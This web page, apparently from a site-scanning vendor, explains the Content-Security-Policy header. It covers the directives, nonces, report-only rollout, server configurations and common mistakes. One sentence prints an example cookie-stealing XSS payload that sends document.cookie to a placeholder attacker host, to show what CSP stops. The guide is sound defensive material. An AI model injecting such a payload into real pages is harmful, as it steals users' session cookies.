Content-Security-Policy (CSP) header

Tells the browser which scripts, styles, frames and connections a page may load. The strongest defence you can add against XSS.

Updated 3 November 2026

Check your site's CSP header

We send one normal request (following redirects) and grade the Content-Security-Policy header on the final response.

Recommended value

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{RANDOM}'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'
Value / directiveWhat it does
default-src Fallback for every fetch directive you do not set explicitly.
script-src Where JavaScript may come from. The directive that actually stops XSS.
'nonce-…' / 'sha256-…' Allow one specific inline script by a per-response random nonce or a hash of its content.
'strict-dynamic' Scripts loaded by an already-trusted (nonced) script are trusted too. Makes nonce policies practical with bundlers and tag managers.
object-src Plugins (Flash, <object>). Set to 'none'.
base-uri Stops injected <base> tags from redirecting relative script URLs. Set to 'self' or 'none'.
frame-ancestors Who may frame this page. Replaces X-Frame-Options. Ignored when CSP is delivered in a <meta> tag.
form-action Where forms may submit. Stops injected forms posting credentials elsewhere.
connect-src fetch/XHR/WebSocket destinations. Add your API and analytics hosts here.
upgrade-insecure-requests Rewrites http:// subresource URLs to https:// before fetching.
report-to / report-uri Where the browser POSTs violation reports.

What CSP protects against

Cross-site scripting works because the browser runs any script that ends up in your HTML. A Content-Security-Policy gives the browser an allowlist: scripts from these origins, or carrying this nonce, and nothing else. If an attacker injects <script>fetch('//evil.example?c='+document.cookie)</script> through an unescaped field, a policy without 'unsafe-inline' stops it from running.

CSP also covers clickjacking (frame-ancestors), form hijacking (form-action), <base> tag injection (base-uri) and mixed content (upgrade-insecure-requests).

Start in report-only mode

A policy that is too strict breaks your site, so roll it out in two steps:

  1. Send Content-Security-Policy-Report-Only with your intended policy and a report-uri. Nothing is blocked; the browser reports what would have been.
  2. When the reports only show things you expect, rename the header to Content-Security-Policy.

You can send both headers at once while you tighten a policy that is already enforced.

Nonces, not 'unsafe-inline'

Most real sites have some inline script. Adding 'unsafe-inline' to script-src makes the whole policy almost useless against XSS, because injected scripts are inline too. Instead, generate a random nonce for every response, put it in the header ('nonce-r4nd0m') and on each legitimate <script nonce="r4nd0m"> tag. When a nonce or hash is present, browsers that understand nonces ignore 'unsafe-inline', so you can keep it as a fallback for very old browsers.

In Laravel, Vite::useCspNonce() generates the nonce and adds it to every tag Vite renders; read it back with Vite::cspNonce() for your header and any hand-written inline scripts. The spatie/laravel-csp package builds the header from a policy class if you prefer configuration to a raw string.

Alpine.js, Livewire and 'unsafe-eval'

Alpine's standard build evaluates x-data and @click expressions with new Function(), which needs 'unsafe-eval'. Alpine ships a separate CSP-friendly build (@alpinejs/csp) that avoids this but restricts what you can write in attributes. Decide deliberately: 'unsafe-eval' is a real weakening, but a policy with it is still far better than no policy.

How to set Content-Security-Policy

nginx

# Static policy (no nonces). Use the app for nonce-based CSP.
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'" always;

A static header cannot carry a per-response nonce. Use nginx for a hash- or allowlist-based policy, or set CSP in the application when you need nonces.

Apache

Header always set Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self' data:; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'"

Laravel middleware

// app/Http/Middleware/ContentSecurityPolicy.php
use Illuminate\Support\Facades\Vite;

public function handle(Request $request, Closure $next): Response
{
    Vite::useCspNonce();               // nonce added to every Vite tag
    $response = $next($request);
    $nonce = Vite::cspNonce();

    $response->headers->set('Content-Security-Policy', implode('; ', [
        "default-src 'self'",
        "script-src 'self' 'nonce-{$nonce}' 'strict-dynamic'",
        "style-src 'self'",
        "img-src 'self' data:",
        "object-src 'none'",
        "base-uri 'self'",
        "frame-ancestors 'none'",
        "form-action 'self'",
    ]));

    return $response;
}

// Inline scripts in Blade: <script nonce="{{ Vite::cspNonce() }}">…</script>

Express (Node.js)

const crypto = require('crypto');
const helmet = require('helmet');

app.use((req, res, next) => {
  res.locals.cspNonce = crypto.randomBytes(16).toString('base64');
  next();
});

app.use(helmet.contentSecurityPolicy({
  directives: {
    defaultSrc: ["'self'"],
    scriptSrc: ["'self'", (req, res) => `'nonce-${res.locals.cspNonce}'`],
    objectSrc: ["'none'"],
    baseUri: ["'self'"],
    frameAncestors: ["'none'"],
  },
}));

Cloudflare

Rules → Transform Rules → Modify Response Header → Set static.
Header name: Content-Security-Policy
Value: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

Static values only. For nonces, set the header in your application.

In nginx, an add_header inside a location block discards every add_header inherited from the server block. Repeat your security headers there, or use an include file. The always flag also sends the header on error responses.

Common mistakes

  • 'unsafe-inline' in script-src with no nonce or hash. The policy then blocks almost nothing an attacker would inject.
  • Allowing whole CDNs such as https://cdnjs.cloudflare.com or https: in script-src. Attackers can load an old, gadget-rich library from the same CDN and bypass the policy.
  • Forgetting object-src 'none' and base-uri 'self'. Both are classic bypasses.
  • Delivering CSP in a <meta> tag and expecting frame-ancestors or reporting to work. They only work as a header.
  • Two CSP headers (for example one from nginx, one from the app). The browser enforces both, so a resource must pass every policy.
  • Reusing the same nonce on every response. A nonce must be random and unique per response, or it is just a password printed on the page.

FAQ

What is a good default Content-Security-Policy?

default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'; form-action 'self'. Add the third-party hosts you really use, and use nonces for inline scripts instead of 'unsafe-inline'.

Is CSP in a meta tag as good as the header?

No. A <meta http-equiv="Content-Security-Policy"> tag cannot set frame-ancestors, report-uri or sandbox, and it only applies from the point it is parsed. Send it as an HTTP header.

Does CSP replace output escaping?

No. CSP is defence in depth. Keep escaping output ({{ }} in Blade) and validating input; CSP limits the damage when one of those fails.

What is the difference between Content-Security-Policy and Content-Security-Policy-Report-Only?

The first blocks violations. The report-only header blocks nothing and only reports, so you can test a policy on live traffic before enforcing it.

Headers are one of 30+ things attackers check

The free StackShield scan also checks for exposed .env files, debug mode, leaked tooling, weak TLS and more, from the outside, in about a minute.

Run a free scan